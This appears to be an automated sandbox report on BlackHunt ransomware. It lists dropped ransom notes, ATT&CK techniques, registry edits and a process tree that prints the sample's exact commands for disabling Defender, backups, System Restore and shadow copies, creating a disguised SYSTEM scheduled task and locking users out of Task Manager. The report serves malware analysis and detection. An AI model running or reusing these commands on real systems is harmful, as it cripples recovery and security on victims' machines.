File created	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_ReadMe.hta	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_Private.key	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.txt	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1592	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1504	vssadmin.exe
2236	vssadmin.exe
2600	vssadmin.exe
1404	vssadmin.exe
112	vssadmin.exe
1492	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1500	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	vssvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	vssvc.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1224	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2416	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Token: SeRestorePrivilege	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Token: SeBackupPrivilege	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Token: SeTakeOwnershipPrivilege	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Token: SeAuditPrivilege	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Token: SeSecurityPrivilege	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Token: SeIncBasePriorityPrivilege	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Token: SeBackupPrivilege	2916	vssvc.exe
Token: SeRestorePrivilege	2916	vssvc.exe
Token: SeAuditPrivilege	2916	vssvc.exe
Token: SeBackupPrivilege	2300	wbengine.exe
Token: SeRestorePrivilege	2300	wbengine.exe
Token: SeSecurityPrivilege	2300	wbengine.exe
Token: SeSecurityPrivilege	1356	wevtutil.exe
Token: SeBackupPrivilege	1356	wevtutil.exe
Token: SeSecurityPrivilege	2188	wevtutil.exe
Token: SeBackupPrivilege	2188	wevtutil.exe
Token: SeSecurityPrivilege	1776	wevtutil.exe
Token: SeBackupPrivilege	1776	wevtutil.exe
Token: SeSecurityPrivilege	544	wevtutil.exe
Token: SeBackupPrivilege	544	wevtutil.exe
Token: SeSecurityPrivilege	2328	wevtutil.exe
Token: SeBackupPrivilege	2328	wevtutil.exe
Token: SeDebugPrivilege	1500	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 2236	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	112
PID 1640 wrote to memory of 2236	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	112
PID 1640 wrote to memory of 2236	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	112
PID 1640 wrote to memory of 2236	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	112
PID 1640 wrote to memory of 2504	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	111
PID 1640 wrote to memory of 2504	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	111
PID 1640 wrote to memory of 2504	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	111
PID 1640 wrote to memory of 2504	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	111
PID 1640 wrote to memory of 2308	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	110
PID 1640 wrote to memory of 2308	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	110
PID 1640 wrote to memory of 2308	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	110
PID 1640 wrote to memory of 2308	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	110
PID 2236 wrote to memory of 2016	2236	cmd.exe	107
PID 2236 wrote to memory of 2016	2236	cmd.exe	107
PID 2236 wrote to memory of 2016	2236	cmd.exe	107
PID 1640 wrote to memory of 2460	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	30
PID 1640 wrote to memory of 2460	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	30
PID 1640 wrote to memory of 2460	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	30
PID 1640 wrote to memory of 2460	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	30
PID 1640 wrote to memory of 2708	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	32
PID 1640 wrote to memory of 2708	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	32
PID 1640 wrote to memory of 2708	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	32
PID 1640 wrote to memory of 2708	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	32
PID 1640 wrote to memory of 2848	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	105
PID 1640 wrote to memory of 2848	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	105
PID 1640 wrote to memory of 2848	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	105
PID 1640 wrote to memory of 2848	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	105
PID 2308 wrote to memory of 3064	2308	cmd.exe	103
PID 2308 wrote to memory of 3064	2308	cmd.exe	103
PID 2308 wrote to memory of 3064	2308	cmd.exe	103
PID 1640 wrote to memory of 2732	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	33
PID 1640 wrote to memory of 2732	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	33
PID 1640 wrote to memory of 2732	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	33
PID 1640 wrote to memory of 2732	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	33
PID 1640 wrote to memory of 2704	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	102
PID 1640 wrote to memory of 2704	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	102
PID 1640 wrote to memory of 2704	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	102
PID 1640 wrote to memory of 2704	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	102
PID 1640 wrote to memory of 3048	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	100
PID 1640 wrote to memory of 3048	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	100
PID 1640 wrote to memory of 3048	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	100
PID 1640 wrote to memory of 3048	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	100
PID 1640 wrote to memory of 2856	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	98
PID 1640 wrote to memory of 2856	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	98
PID 1640 wrote to memory of 2856	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	98
PID 1640 wrote to memory of 2856	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	98
PID 1640 wrote to memory of 2900	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	97
PID 1640 wrote to memory of 2900	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	97
PID 1640 wrote to memory of 2900	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	97
PID 1640 wrote to memory of 2900	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	97
PID 2460 wrote to memory of 2916	2460	cmd.exe	96
PID 2460 wrote to memory of 2916	2460	cmd.exe	96
PID 2460 wrote to memory of 2916	2460	cmd.exe	96
PID 2504 wrote to memory of 3000	2504	cmd.exe	95
PID 2504 wrote to memory of 3000	2504	cmd.exe	95
PID 2504 wrote to memory of 3000	2504	cmd.exe	95
PID 1640 wrote to memory of 2300	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	94
PID 1640 wrote to memory of 2300	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	94
PID 1640 wrote to memory of 2300	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	94
PID 1640 wrote to memory of 2300	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	94
PID 1640 wrote to memory of 2864	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	92
PID 1640 wrote to memory of 2864	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	92
PID 1640 wrote to memory of 2864	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	92
PID 1640 wrote to memory of 2864	1640	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe	92

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe
"C:\Users\Admin\AppData\Local\Temp\a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe" /F
  2⤵
  PID:2956
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a2b6bcbbc42809422038e7bd7d35988733cbaffcd0f0e0e4b6dc514328087571.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2188
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2360
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2420
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:280
- C:\Windows\System32\cmd.exe
